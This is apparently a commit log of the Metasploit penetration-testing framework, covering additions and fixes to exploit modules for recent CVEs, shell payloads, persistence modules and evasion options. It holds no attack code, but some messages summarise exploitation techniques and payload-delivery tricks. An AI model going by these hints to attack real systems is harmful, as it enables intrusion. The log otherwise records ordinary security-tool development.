Update exploits to note target authors
...
Target authors were selected based on comments that indicated that the
author was only responsible for a set of descrete targets. Authors that
were noted as assisting with target testing, check module development,
etc. were left at the module level.
2025-12-17 17:30:16 -05:00
adfoster-r7
b3f3b82f36
Merge pull request #20783 from adfoster-r7/update-pro-versions
...
Update Pro versions
2025-12-17 22:29:25 +00:00
Valentin Lobstein
3b407575fa
Update react2shell module: Add Waku framework support
2025-12-17 23:07:01 +01:00
Spencer McIntyre
276623f36b
Also merge Author and References from the target
2025-12-17 16:31:54 -05:00
Spencer McIntyre
8945267db6
Remove redundant Platform and Arch definitions
2025-12-17 16:12:31 -05:00
Spencer McIntyre
2103e1b5f6
Fix a bug in the platform definition
2025-12-17 15:57:58 -05:00
Spencer McIntyre
61a7e05f9d
Merge target info into module info
...
This means it no longer has to be specified twice.
2025-12-17 14:38:14 -05:00
vognik
59dc9dd59c
fix error handling
2025-12-17 09:57:03 -08:00
vognik
6d059bd62e
improve csrf token parsing
2025-12-17 09:53:28 -08:00
adfoster-r7
375ff5e9da
Update Pro versions
2025-12-17 13:41:31 +00:00
vognik
1d4b8ce10e
add pagination support to get_apps function
2025-12-16 10:03:08 -08:00
jbx81-1337
17ea7f0e53
fix: remove ppc meterpreter from payloads_spec
2025-12-16 11:19:45 +01:00
jbx81-1337
48c21f5c45
fix: remove broken ppc meterpreters
2025-12-16 11:17:07 +01:00
h00die
41a2b49ef8
sshkey persistence documentation improvements
2025-12-15 20:30:45 -05:00
h00die
a2a3eebe68
sshkey persistence working on linux
2025-12-15 20:25:10 -05:00
jenkins-metasploit
040179cf40
automatic module_metadata_base.json update
2025-12-16 00:04:05 +00:00
Spencer McIntyre
74774783fc
Merge pull request #20773 from jheysel-r7/fix/react2shell_targets
...
Change react2shell default encoder and payload
2025-12-15 18:55:09 -05:00
Jack Heysel
0589121fb9
Update payload options
2025-12-15 18:52:38 -05:00
jheysel-r7
ff188b8a5e
Update regex
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-15 08:08:54 -08:00
cgranleese-r7
ee6d594dd1
Merge pull request #20777 from rapid7/revert-20424-enh/MS-9930/vuln_report
...
Revert "Vulnerability Report Enhancement"
2025-12-15 13:00:22 +00:00
cgranleese-r7
c35537252f
Revert "Vulnerability Report Enhancement"
2025-12-15 12:40:02 +00:00
cgranleese-r7
3936fc7640
Merge pull request #20424 from cdelafuente-r7/enh/MS-9930/vuln_report
...
Vulnerability Report Enhancement
2025-12-15 11:51:27 +00:00
Christophe De La Fuente
fbea976e2f
Bump metasploit_data_models version to 6.0.11
2025-12-15 12:36:51 +01:00
Spencer McIntyre
3dc70b751a
Report the ICertPassage protocol using the new API
2025-12-15 12:36:51 +01:00
Christophe De La Fuente
3a6eec5691
Fix deleting services with services -d
2025-12-15 12:36:51 +01:00
Christophe De La Fuente
09e7bff7f5
Code review
2025-12-15 12:36:50 +01:00
Christophe De La Fuente
40ac35c02a
Vulnerability Report enhancement
...
- update `#report_service` and `#report_vuln`
- update vulnerability report when a session is established
- update CheckCode and `#cmd_check` to report a vulnerability when
Vulnerable checkcode is returned
- update `vulns` and `services` commands to display the `resource` and
parent services
- specs
2025-12-15 12:36:50 +01:00
cgranleese-r7
861700b1f6
Merge pull request #20776 from cgranleese-r7/update-macos-runner
...
Updates macos runners
2025-12-15 11:26:56 +00:00
cgranleese-r7
afcfd1bbc5
Updates macos runners
2025-12-15 10:16:53 +00:00
vognik
8977538910
add docker lab deploy guide into docs
2025-12-13 12:28:55 -08:00
vognik
055d243d05
add create_sudobash payload option
2025-12-13 12:00:08 -08:00
vognik
7149b9a960
randomize provider name in payload
2025-12-13 11:46:47 -08:00
vognik
35dd55159d
extracted get_apps url into uris.rb
2025-12-13 11:35:25 -08:00
vognik
ebd736272f
fix variables naming
2025-12-13 11:21:08 -08:00
Valentin Lobstein
bd98d3b160
Add randomization to GeoServer WMS GetMap XXE module for evasion
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-13 17:42:21 +01:00
rumet
23291f2f5e
Fix PostgreSQL 15+ public schema permission issue
2025-12-13 15:37:18 +03:00
vognik
4ff2f35154
fix credits
2025-12-12 20:59:29 -08:00
vognik
b35c8b3926
remove unused function calls
2025-12-12 20:31:14 -08:00
Jack Heysel
ca2ac75e16
Change react2shell default encoder
2025-12-12 15:22:34 -08:00
vognik
0f96f2f3fd
fix cve format in references
2025-12-12 13:45:52 -08:00
vognik
da0dc35cb8
add documentation
2025-12-12 13:44:44 -08:00
vognik
ee404d9453
add splunk modules (cve-2022-43571 and cve-2024-36985)
2025-12-12 13:16:57 -08:00
Rumet
eb7f60d6d4
Fix typo in normalize_host causing AWS SSM session failures with database
2025-12-13 00:05:34 +03:00
Spencer McIntyre
9cd49466e8
Update the payload preferences
2025-12-12 15:29:37 -05:00
Valentin Lobstein
46f87e0f6e
Add GeoServer WMS GetMap XXE file read module (CVE-2025-58360)
2025-12-12 16:11:15 +01:00
jenkins-metasploit
05fba0ad8f
automatic module_metadata_base.json update
2025-12-12 00:21:44 +00:00
jheysel-r7
388a967101
Merge pull request #20749 from nakkouchtarek/grav-ssti-rce
...
Add Grav CMS Twig SSTI Sandbox Bypass RCE Exploit Module & Documentation
2025-12-11 16:13:09 -08:00
jenkins-metasploit
7ca43c621b
automatic module_metadata_base.json update
2025-12-11 19:19:18 +00:00
jheysel-r7
33197bd59c
Merge pull request #20713 from Chocapikk/nable
...
Add N-able N-Central authentication bypass and XXE scanner module (CVE-2025-9316, CVE-2025-11700)
2025-12-11 11:10:48 -08:00
Tarek Nakkouch
a20e2dfa6e
Use send_request_cgi! for automatic redirect handling
2025-12-11 20:03:17 +01:00
Tarek Nakkouch
028aa2f544
Wrap zlib require in begin/rescue block for proper error handling
2025-12-11 19:53:02 +01:00
Tarek Nakkouch
df9f546d01
Use HttpClientTimeout datastore option instead of hardcoded timeout value
2025-12-11 19:52:16 +01:00
Tarek Nakkouch
80f60b431c
Set default value for FORM_NAME option and remove fallback check
2025-12-11 19:45:24 +01:00
MatDupas
591a2706cb
Fix setup guide link for Oracle EBS
...
Updated the link to the Oracle EBS setup guide to an archived version.
2025-12-11 19:24:16 +01:00
MatDupas
eaa15dbc70
Update CSRF token logging for better visibility
2025-12-11 19:21:54 +01:00
Valentin Lobstein
35d7b2e334
Improve file content parsing in extract_file_contents method
2025-12-11 18:57:18 +01:00
cgranleese-r7
1523d01a8d
Merge pull request #20759 from zeroSteiner/fix/ldap-acceptance/1
...
Drop the ldap_esc_vulnerable_cert_finder tests
2025-12-11 16:30:26 +00:00
jenkins-metasploit
4d5996a5ff
automatic module_metadata_base.json update
2025-12-11 13:06:50 +00:00
cgranleese-r7
f7abf967a6
Merge pull request #20743 from zeroSteiner/fix/mssql-encryption-guard
...
Remove the TDSENCRYPTION Guard Clause
2025-12-11 12:58:09 +00:00
jenkins-metasploit
0384917038
Bump version of framework to 6.4.103
2025-12-11 10:24:16 +00:00
bcoles
5871d90cf6
Add Linux RISC-V 32-bit/64-bit TCP bind shell payloads
2025-12-11 12:53:47 +11:00
ptrstr
30635cbadd
Make plugin URI configurable
2025-12-10 18:14:26 -05:00
jenkins-metasploit
c8773660fb
automatic module_metadata_base.json update
2025-12-10 17:05:19 +00:00
jheysel-r7
0c921ea2e7
Merge pull request #20725 from Chocapikk/magento
...
Add Magento SessionReaper (CVE-2025-54236) exploit module
2025-12-10 08:56:47 -08:00
jenkins-metasploit
ba258777f2
automatic module_metadata_base.json update
2025-12-10 16:45:52 +00:00
jheysel-r7
d86c5f0908
Merge pull request #20746 from Chocapikk/king-addons
...
Add WordPress King Addons privilege escalation exploit (CVE-2025-8489)
2025-12-10 08:37:11 -08:00
Martin Sutovsky
6a626a855b
Addresses some comments
2025-12-10 17:01:27 +01:00
jenkins-metasploit
2b58dec0f3
automatic module_metadata_base.json update
2025-12-10 13:11:54 +00:00
Diego Ledda
27557e149d
Merge pull request #20682 from bcoles/loongarch64
...
Add support for LoongArch64 payloads
2025-12-10 08:02:26 -05:00
Diego Ledda
efcb07a53f
fix: restoring missing end after merge
2025-12-10 13:11:21 +01:00
Diego Ledda
d6560b951f
Merge branch 'master' into loongarch64
2025-12-10 07:08:40 -05:00
h00die
b9dc042838
sshkey persistence working on linux
2025-12-10 04:32:38 -05:00
h00die
c2adbf7625
ssh key progresss
2025-12-10 04:32:37 -05:00
h00die
f221eb1aef
rename sshkey module
2025-12-10 04:32:37 -05:00
Valentin Lobstein
be4c3c1a91
Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2025-12-10 06:07:41 +01:00
Valentin Lobstein
fc8f07cf91
Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2025-12-10 06:07:23 +01:00
Valentin Lobstein
b4d65afcf5
Add exploit module for WordPress ACF Extended CVE-2025-13486 unauthenticated RCE
2025-12-09 22:02:41 +01:00
jheysel-r7
47771a6789
Merge pull request #20760 from sfewer-r7/fix-55182
...
fix a typo with the use of CVE-2025-55102, it should be CVE-2025-55182
2025-12-09 10:32:33 -08:00
Valentin Lobstein
e9467cd1e3
Clarify file-based session storage requirements and exploit limitations
...
Co-authored-by: jheysel-r7 <jheysel-r7@users.noreply.github.com >
2025-12-09 19:26:30 +01:00
Valentin Lobstein
6bc2bffd8c
Refactor create_admin_user to handle errors internally and remove custom.ini from documentation
2025-12-09 19:20:56 +01:00
Valentin Lobstein
1596d42c6a
Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
...
Co-authored-by: Phil Townes <phil_townes@rapid7.com >
2025-12-09 19:14:44 +01:00
Valentin Lobstein
c423ff07c5
Update modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
...
Co-authored-by: Phil Townes <phil_townes@rapid7.com >
2025-12-09 19:14:36 +01:00
Valentin Lobstein
17cc68df0f
Update documentation/modules/exploit/multi/http/wp_king_addons_privilege_escalation.md
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-09 19:14:22 +01:00
jenkins-metasploit
3e3eb12c57
automatic module_metadata_base.json update
2025-12-09 12:15:57 +00:00
Diego Ledda
9489296664
Merge pull request #20758 from msutovsky-r7/payload/ppc/fetch_payloads
...
Adds PPC reverse payloads to fetch adapters
2025-12-09 07:04:14 -05:00
sfewer-r7
1a8e88c054
fix a typo with the use of CVE-2025-55102, it should be CVE-2025-55182
2025-12-09 09:05:59 +00:00
jenkins-metasploit
ba648b3371
automatic module_metadata_base.json update
2025-12-08 23:52:15 +00:00
Brendan
caa672231b
Merge pull request #20736 from sfewer-r7/fortiweb-exploit-rce-v6-support
...
Update the FortiWeb exploit module (CVE-2025-64446 + CVE-2025-58034) to target older unsupported versions 6.x
2025-12-08 17:43:49 -06:00
jenkins-metasploit
0e71557829
automatic module_metadata_base.json update
2025-12-08 21:50:27 +00:00
jheysel-r7
66279422d1
Merge pull request #20747 from vognik/2025-55182
...
Add CVE-2025-55182 / CVE-2025-66478
2025-12-08 13:41:49 -08:00
Spencer McIntyre
b9d3780afe
Drop the ldap_esc_vulnerable_cert_finder tests
2025-12-08 16:30:49 -05:00
h00die
f18bdb12b2
remove writabledir from wmi persistence
2025-12-08 15:41:16 -05:00
Tarek Nakkouch
e45eda6ead
Replace gsub with encode_base64 delimiter parameter
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-08 19:48:01 +01:00
Martin Sutovsky
f8ae3912be
Rubocopes
2025-12-08 17:32:28 +01:00
Martin Sutovsky
62d02675ce
Adds reverse shell payloads to PPC fetch adapters
2025-12-08 17:31:55 +01:00
jenkins-metasploit
2777178962
automatic module_metadata_base.json update
2025-12-08 15:53:57 +00:00
cpomfret-r7
2a53d9c866
Merge pull request #20704 from dwelch-r7/combine-ssh-login-modules
...
The module `auxiliary/scanner/ssh/ssh_login_pubkey` has been removed.
Its functionality has been moved into `auxiliary/scanner/ssh/ssh_login`.
2025-12-08 15:44:58 +00:00
Tarek Nakkouch
e08c18c720
Remove ARTIFACTS_ON_DISK side effect
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-08 15:42:29 +01:00
Tarek Nakkouch
77f4fe9c98
Update module name
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-08 15:41:31 +01:00
vognik
bdd7cb5365
upgraded payload
2025-12-08 01:32:43 -08:00
Tarek Nakkouch
5fcc33d203
Implement zlib compression before base64 encoding to minimize payload size
2025-12-07 22:25:51 +01:00
Rudraditya Thakur
c49a376280
added: Option to adjust kerberos clock (issue-> #20587 )
...
- Added KrbClockSkew advanced option and parser to offset Kerberos timestamps
- Propagate skew through Kerberos client/authenticators (LDAP/SMB/HTTP/WinRM/MSSQL) and scanners
- Updated docs for new option and extended kerberos client specs for clock skew handling
- Clean up kerberos client error handling/style per rubocop
2025-12-08 01:47:51 +05:30
Tarek Nakkouch
d17dc184bf
Strengthen Grav CMS fingerprinting with strict HTML parsing
2025-12-07 17:14:35 +01:00
h00die
54d47e72ab
sticky keys description update
2025-12-07 07:40:54 -05:00
h00die
bd48eda8b2
rename sticky keys module
2025-12-07 07:38:41 -05:00
MatDupas
6d79e9a858
Improve XML formatting in send_exploit_request method
...
Refactor XML string for better readability.
2025-12-07 08:26:01 +01:00
MatDupas
7b9cc2800f
Remove keep-alive logic for XSL delivery
...
Removed unnecessary server keep-alive logic after XSL delivery.
2025-12-07 08:11:42 +01:00
MatDupas
a8a84a6c99
Fix command adaptation for Windows platform
2025-12-07 08:09:05 +01:00
h00die
42b6a307ac
markdown
2025-12-06 19:58:36 -05:00
h00die
a2f266068b
assistive technology persistence
2025-12-06 13:05:32 -05:00
MatDupas
f56a3cc914
Refactor comments and improve logging in exploit
2025-12-06 15:41:30 +01:00
MatDupas
a4b88df7ac
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-06 15:38:42 +01:00
vognik
1dde12b483
fix naming errors
2025-12-06 02:53:38 -08:00
vognik
38682b5ed6
refactoring
2025-12-05 14:58:59 -08:00
vognik
e1982475ca
replaced the noisy check method with a silent one
2025-12-05 11:32:07 -08:00
vognik
7b8c08d778
some refactoring
2025-12-05 10:47:06 -08:00
jenkins-metasploit
0fd8f0984e
Bump version of framework to 6.4.102
2025-12-05 17:16:16 +00:00
jenkins-metasploit
97c9e8274f
automatic module_metadata_base.json update
2025-12-05 16:17:18 +00:00
Diego Ledda
7e48e12ed0
Merge pull request #20716 from bcoles/linux-riscv-prepends
...
Add Linux RISC-V 32-bit/64-bit prepends
2025-12-05 11:04:24 -05:00
vognik
88309b5a4a
add suggestions from @Chocapikk
2025-12-05 08:02:56 -08:00
Diego Ledda
d66e93afc0
Merge pull request #20658 from jheysel-r7/feat/mod/cert_details_update
...
Add Updates to LDAP ESC Vulnerable Cert Finder
2025-12-05 10:55:52 -05:00
Spencer McIntyre
c77578dbe8
Merge pull request #20681 from jheysel-r7/fix/test/ldap_whoami_error
...
Remove ldap_esc_vulnerable_cert_finder acceptance test
2025-12-05 10:55:06 -05:00
MatDupas
2754087ed9
Remove wait time before server URL construction
...
Removed unnecessary sleep before constructing server URL.
2025-12-05 16:50:30 +01:00
MatDupas
5d49fb9e53
Change base command from bash to sh for compatibility
2025-12-05 16:39:56 +01:00
MatDupas
a33fbe3ef5
Refactor payload encoding in cook_smuggle_stub method
...
Replaced manual HTML encoding with Rex::Text.html_encode for better payload handling.
2025-12-05 16:38:30 +01:00
MatDupas
d3bda52631
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-05 15:45:05 +01:00
MatDupas
976a835557
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Mark @xsl as served once it has actually been served.
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-05 15:39:16 +01:00
MatDupas
145a2a63de
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-05 15:36:56 +01:00
h00die
54718c7a12
sticky keys as persistence
2025-12-05 07:07:30 -05:00
Mathieu Dupas
9989fa6d39
Add SRVPORT info
2025-12-05 12:14:15 +01:00
MatDupas
cdba4f49ae
Add Oracle EBS CVE-2025-61882 RCE exploit module
...
This module exploits CVE-2025-61882 in Oracle E-Business Suite by combining SSRF, Path Traversal, HTTP request smuggling, and XSLT injection to achieve remote code execution.
2025-12-05 11:12:07 +01:00
MatDupas
cd2e13c71d
Document CVE-2025-61882 exploit for Oracle EBS
...
Added documentation for CVE-2025-61882 exploit module in Oracle EBS, detailing vulnerability, testing setup, verification steps, and usage scenarios.
2025-12-05 11:05:42 +01:00
vognik
918f474fc6
fixed the nits
2025-12-05 00:47:19 -08:00
vognik
3669e3cdcc
add unused code
2025-12-05 00:25:21 -08:00
vognik
b6188e6f50
fix target_uri error
2025-12-05 00:12:52 -08:00
vognik
baa0a11492
small fixes
2025-12-05 00:11:44 -08:00
vognik
770e63b0d1
add windows documentation
2025-12-05 00:06:58 -08:00
vognik
a12431e1a3
add suggestions from @sfewer-r7
2025-12-04 23:58:22 -08:00
Maksim Rogov
5b299a0489
Update modules/exploits/multi/http/react2shell_cve_2025_55102.rb
...
Co-authored-by: bcoles <bcoles@gmail.com >
2025-12-05 10:10:51 +03:00
Maksim Rogov
d9977f31fc
Update modules/exploits/multi/http/react2shell_cve_2025_55102.rb
...
Co-authored-by: bcoles <bcoles@gmail.com >
2025-12-05 10:10:35 +03:00
vognik
e51ea0ae23
improve documentation
2025-12-04 23:03:13 -08:00
vognik
bff7d0836a
change execSync to exec
2025-12-04 22:54:35 -08:00
vognik
23e5f68c87
remove debug
2025-12-04 22:44:23 -08:00
vognik
f71a71ab18
add exploit mvp
2025-12-04 22:16:27 -08:00
Jack Heysel
0e2af23287
Add Updates to LDAP ESC Vulnerable Cert Finder
...
Add CertificateAuthorityRhost to avoid DNS failures
2025-12-04 17:03:36 -08:00
Tarek Nakkouch
3c4fdfcad0
Add Grav CMS Twig SSTI Sandbox Bypass RCE Exploit Module (CVE-2025-66294)
2025-12-05 00:01:56 +01:00
Kyle Bouchard
7b816cd439
Add year and month options for file upload
2025-12-04 11:33:28 -05:00
vognik
eb33e08efa
Add Documentation
2025-12-04 05:48:26 -08:00
vognik
3086dac5a1
Add CVE-2025-55182 / CVE-2025-66478 Scanner
2025-12-04 05:21:09 -08:00
jenkins-metasploit
adc3d2e175
automatic module_metadata_base.json update
2025-12-04 12:05:42 +00:00
Diego Ledda
4d52e22480
Merge pull request #20720 from Chocapikk/wp-ai-engine
...
Add WordPress AI Engine MCP RCE exploit (CVE-2025-11749)
2025-12-04 12:56:04 +01:00
Valentin Lobstein
5781e5ba7d
Update reference URL
2025-12-04 01:52:25 +01:00
Valentin Lobstein
296e931b7d
Fix WordPress lab permissions in documentation
2025-12-04 01:39:25 +01:00
Valentin Lobstein
b3fc1b05e5
Add WordPress King Addons privilege escalation exploit (CVE-2025-8489)
2025-12-04 01:37:40 +01:00
jenkins-metasploit
81a1808b5d
automatic module_metadata_base.json update
2025-12-03 21:21:03 +00:00
Spencer McIntyre
0f795d715e
Merge pull request #20741 from SaiSakthidar/remove-cain
...
Remove CAIN
2025-12-03 16:12:17 -05:00
Kyle Bouchard
78710633e2
Remove current date constraint from uploaded path
2025-12-03 15:46:07 -05:00
SaiSakthidar
98dd33a3cd
Remove CAIN
2025-12-03 15:42:57 -05:00
Spencer McIntyre
334c599cb3
Remove this guard, it's no longer required
2025-12-03 14:00:17 -05:00
Dean Welch
2de3623274
Combine ssh_login and ssh_login_pubkey modules
2025-12-03 14:48:12 +00:00
jheysel-r7
81e23bdbdd
Merge pull request #20677 from zeroSteiner/fix/issue/18745
...
Support Encrypted MSSQL Sessions
2025-12-02 16:03:31 -08:00
Valentin Lobstein
0ccffdd5ff
Fix wp_ai_engine_mcp_rce: handle existing users by updating password via MCP fields API
2025-12-03 00:41:16 +01:00
Spencer McIntyre
c425f1519c
Support relaying to MSSQL server that require TLS
2025-12-02 16:10:07 -05:00
Spencer McIntyre
db1e0187c3
Fix the PostreSQL SSL tests for #starttls method
2025-12-02 16:10:07 -05:00
Spencer McIntyre
66a4aba1ad
Remove the old MS-TDS SSL Proxy code
2025-12-02 16:10:07 -05:00
Spencer McIntyre
9c1f545562
Initialize the info for web sockets
2025-12-02 16:10:07 -05:00
Spencer McIntyre
d4ba707fa5
Add the new encrypted MsTds channel
2025-12-02 16:10:06 -05:00
Spencer McIntyre
dcd3a62e88
Switch to the new fiber relay manager
2025-12-02 16:09:58 -05:00
Spencer McIntyre
3908fd4829
Use the new #starttls method
2025-12-02 16:09:31 -05:00
Spencer McIntyre
8e3a97b3e0
Don't open pass_file if it's blank
2025-12-02 16:09:31 -05:00
jenkins-metasploit
ce2dc0bb03
automatic module_metadata_base.json update
2025-12-01 11:53:49 +00:00
Diego Ledda
d20345263b
Merge pull request #20712 from bcoles/linux-riscv-tcp-reverse-shell
...
Add Linux RISC-V 32-bit/64-bit TCP reverse shell payloads
2025-12-01 12:43:42 +01:00
h00die
d3ae3e5556
wmi persistence docs
2025-11-30 10:51:45 -05:00
whotwagner
4decd07c29
Merged changes
2025-11-28 20:54:40 +00:00
Valentin Lobstein
3cc10301fd
Simplify SSL configuration by passing ssl option directly to start_service instead of modifying datastore
2025-11-28 21:54:07 +01:00
whotwagner
2018f9f1c3
Refactoring taiga-exploit
2025-11-28 20:53:26 +00:00
Christophe De La Fuente
a392283b1e
Add techniques related to unconstrained delegation modules
2025-11-28 19:17:03 +01:00
Christophe De La Fuente
8e51f598f3
Add MITRE ATT&CK technique for Kerberos related modules
2025-11-28 17:29:57 +01:00
Martin Sutovsky
20fcecc963
Adds exception raising
2025-11-28 12:40:23 +01:00
sfewer-r7
795c38c524
Combine the 7.x and 6.x targets together, as Linux payloads work on 7.x also, so this target is Unix and Linux. This leaves the 8.x target Unix only due to IMA appraisal.
2025-11-28 10:12:02 +00:00
jenkins-metasploit
3547984092
automatic module_metadata_base.json update
2025-11-28 06:51:42 +00:00
msutovsky-r7
d7c307bb69
Land #20709 , adds module for Twonky Server Authentication Bypass (CVE-2025-13315,CVE-2025-13316)
...
Auxiliary module for CVE-2025-13315/CVE-2025-13316 - Twonky Server Log Leak Authentication Bypass
2025-11-28 07:35:30 +01:00
Valentin Lobstein
b1b41017c1
Use CheckCode constants instead of string comparison in check method
2025-11-27 22:53:32 +01:00
Valentin Lobstein
4d24789d04
Make USERNAME, PASSWORD, and EMAIL datastore options required
2025-11-27 22:52:19 +01:00
Valentin Lobstein
1b7acbf684
Add Advanced Options section to documentation (XXETriggerTimeout and DTD_PROTO)
2025-11-27 22:22:01 +01:00
Valentin Lobstein
1e4527d833
Synchronize local server SSL with DTD_PROTO option instead of forcing HTTP
2025-11-27 22:11:50 +01:00
Valentin Lobstein
dd06d4c120
Replace sleep(2) with retry_until_truthy for XXE trigger and add configurable timeout option
2025-11-27 21:37:39 +01:00
Valentin Lobstein
9647236b42
Make SSL configurable via datastore and improve comment accuracy
2025-11-27 21:35:05 +01:00
Valentin Lobstein
f4ec54f25e
Fix: Make FILE and LOG_PATH required options and improve formatting
2025-11-27 21:33:09 +01:00
sfewer-r7
014312873c
get both unix and linux payloads working on 6.x. Add a note to the docs about setting a gateway.
2025-11-27 20:28:44 +00:00
Shubham0699
d3f617bf08
Fix Bailiwicked module exceptions and SRCPORT default
...
Fixes #20172
Both bailiwicked modules were throwing 'undefined method each for IPAddr'
exceptions due to DNS library changes. Fixed by:
1. Wrapping IPAddr object in array when passing to nameservers parameter
- Changed nameservers: rr1.address to nameservers: [rr1.address.to_s]
- Applies to both bailiwicked_domain.rb and bailiwicked_host.rb
2. Changed SRCPORT default from nil to 0 for automatic port selection
- Prevents validation errors when running modules
- 0 is the documented value for automatic port selection
2025-11-27 21:19:02 +05:30
jenkins-metasploit
f9b61890b5
automatic module_metadata_base.json update
2025-11-27 14:26:36 +00:00
msutovsky-r7
b6330acb12
Land #20718 , adds module for Monsta FTP RCE (CVE-2025-34299)
...
Add Monsta FTP downloadFile RCE (CVE-2025-34299)
2025-11-27 15:16:58 +01:00
jenkins-metasploit
99533752f3
Bump version of framework to 6.4.101
2025-11-27 13:52:30 +00:00
Martin Sutovsky
1153f3cf6a
Fixing regex
2025-11-27 14:33:57 +01:00
sfewer-r7
f5e8aa83be
add in exploit support for FortiWeb versions 6.x which are vulnerable, but no longer under support from the vendor.
2025-11-27 12:43:19 +00:00
bcoles
2d414d39fa
Add Linux RISC-V command payload adapters
2025-11-27 20:46:30 +11:00
jenkins-metasploit
205221fba9
automatic module_metadata_base.json update
2025-11-27 00:33:37 +00:00
adfoster-r7
4c5d086aeb
Merge pull request #20731 from adfoster-r7/fix-broken-module-metadata
...
Fix broken module metadata
2025-11-27 00:07:11 +00:00
adfoster-r7
db3ac6acc6
Fix broken module metadata
2025-11-26 22:51:40 +00:00
Valentin Lobstein
c8ec6e2e0d
Fix magento_sessionreaper: use server-returned upload path when available, fallback to default path
2025-11-26 19:11:21 +01:00
Valentin Lobstein
819b259b4c
Apply reviewer suggestions
2025-11-26 18:27:52 +01:00
Valentin Lobstein
9661bfe252
Update modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-26 17:54:12 +01:00
Valentin Lobstein
e3a2148660
Update modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-26 17:53:40 +01:00
Valentin Lobstein
278f3c99d2
Add error handling for upload failures in magento_sessionreaper module
2025-11-26 00:56:05 +01:00
Valentin Lobstein
4ff9fd4542
Apply reviewer suggestions and remove unnecessary Options section from documentation
2025-11-25 23:48:39 +01:00
bcoles
c467330892
Merge remote-tracking branch 'upstream/master' into linux-riscv-tcp-reverse-shell
2025-11-26 09:22:55 +11:00
jenkins-metasploit
7325d2a265
automatic module_metadata_base.json update
2025-11-25 20:23:49 +00:00
Brendan
e998b91aee
Merge pull request #20717 from sfewer-r7/fortiweb-exploit-rce
...
Add exploit module for Fortinet FortiWeb (CVE-2025-64446 + CVE-2025-58034)
2025-11-25 14:14:31 -06:00
jenkins-metasploit
766150ae27
automatic module_metadata_base.json update
2025-11-25 20:09:05 +00:00
Brendan
1912fe2a95
Merge pull request #20702 from Zedeldi/igel-os-modules
...
IGEL OS modules
2025-11-25 13:59:44 -06:00
jenkins-metasploit
3dfa649591
automatic module_metadata_base.json update
2025-11-25 17:20:50 +00:00
Diego Ledda
3b799a50e8
Merge pull request #20703 from bcoles/linux-riscv-chmod-payloads
...
Add Linux RISC-V chmod payloads
2025-11-25 18:10:57 +01:00
jenkins-metasploit
2eb71ad31c
automatic module_metadata_base.json update
2025-11-25 15:33:53 +00:00
msutovsky-r7
47b742ba0c
Land #20482 , fixes bug in HTTP-based login scanners
...
Fix HTTP-based login scanners when using SSL with custom port
2025-11-25 16:23:39 +01:00
adfoster-r7
7e454475e4
Merge pull request #20721 from cpomfret-r7/fix-nexpose-api-error-when-site-has-credential
...
Fix issue when scanning via Nexpose plugin when Site has Credential
2025-11-25 13:03:10 +00:00
sfewer-r7
fa03ac8b66
on 7.4.8 the command nohup is not available. we must execute our payload in a new session, so we use a python stub to essentially call setsid. This has been tested to work on both 8.0.1 and 7.4.8. Teh payload cmd/unix/reverse_python isnot working as it previously was, so I am removing from the list of confirmed paylaods. The other two, cmd/unix/reverse_bash and cmd/unix/reverse_openssl work fine on both versions
2025-11-25 11:25:41 +00:00
sfewer-r7
8a054b74db
improve check logic to actualy parse JSON result for expected reply, tested against 8.0.1 and 7.4.8
2025-11-25 11:22:43 +00:00
Valentin Lobstein
be7ad39127
Fix reference URL in documentation to correct Searchlight Cyber research article
2025-11-24 23:26:29 +01:00
Valentin Lobstein
0cc0ea2250
Fix reference URL to correct Searchlight Cyber research article
2025-11-24 23:25:46 +01:00
Valentin Lobstein
c89d53ed98
Add FileDropper mixin and register files for automatic cleanup
2025-11-24 22:06:46 +01:00
Valentin Lobstein
39c20a97d0
Fix PHP syntax error in payload stub - add quotes around POST parameter
2025-11-24 21:18:50 +01:00
Valentin Lobstein
9ef10eeea8
Update documentation with complete Docker lab setup files
2025-11-24 21:12:14 +01:00
Valentin Lobstein
1623660bec
Add Magento SessionReaper (CVE-2025-54236) exploit module
2025-11-24 21:04:20 +01:00
jenkins-metasploit
ebd5b129bc
automatic module_metadata_base.json update
2025-11-24 17:28:24 +00:00
jheysel-r7
4a012dd06a
Merge pull request #20637 from zeroSteiner/feat/mod/smb-to-mssql
...
Add an SMB to MSSQL NTLM Relay module
2025-11-24 09:17:45 -08:00
Zedeldi
d1fe17747c
Add check methods and update DisclosureDate
2025-11-24 17:12:56 +00:00
Zedeldi
4b2798f357
Correct vulnerable version information
2025-11-24 17:10:51 +00:00
Chris Pomfret
f842bb7169
Nexpose plugin - Query nexpose via v3 api when doing scan
2025-11-24 12:15:55 +00:00
Zedeldi
ce926fd3d1
Update vulnerable IGEL OS version to < 11.09.310
2025-11-24 11:57:18 +00:00
Zedeldi
ffaf43af2f
Add writable? and file? checks to write_payload
2025-11-24 11:45:34 +00:00
Zedeldi
933fb7bdf1
Add clean-up information
2025-11-24 11:43:46 +00:00
Zedeldi
002795c5be
Update module information in documentation
2025-11-24 11:24:23 +00:00
Zedeldi
0c4d1e70d1
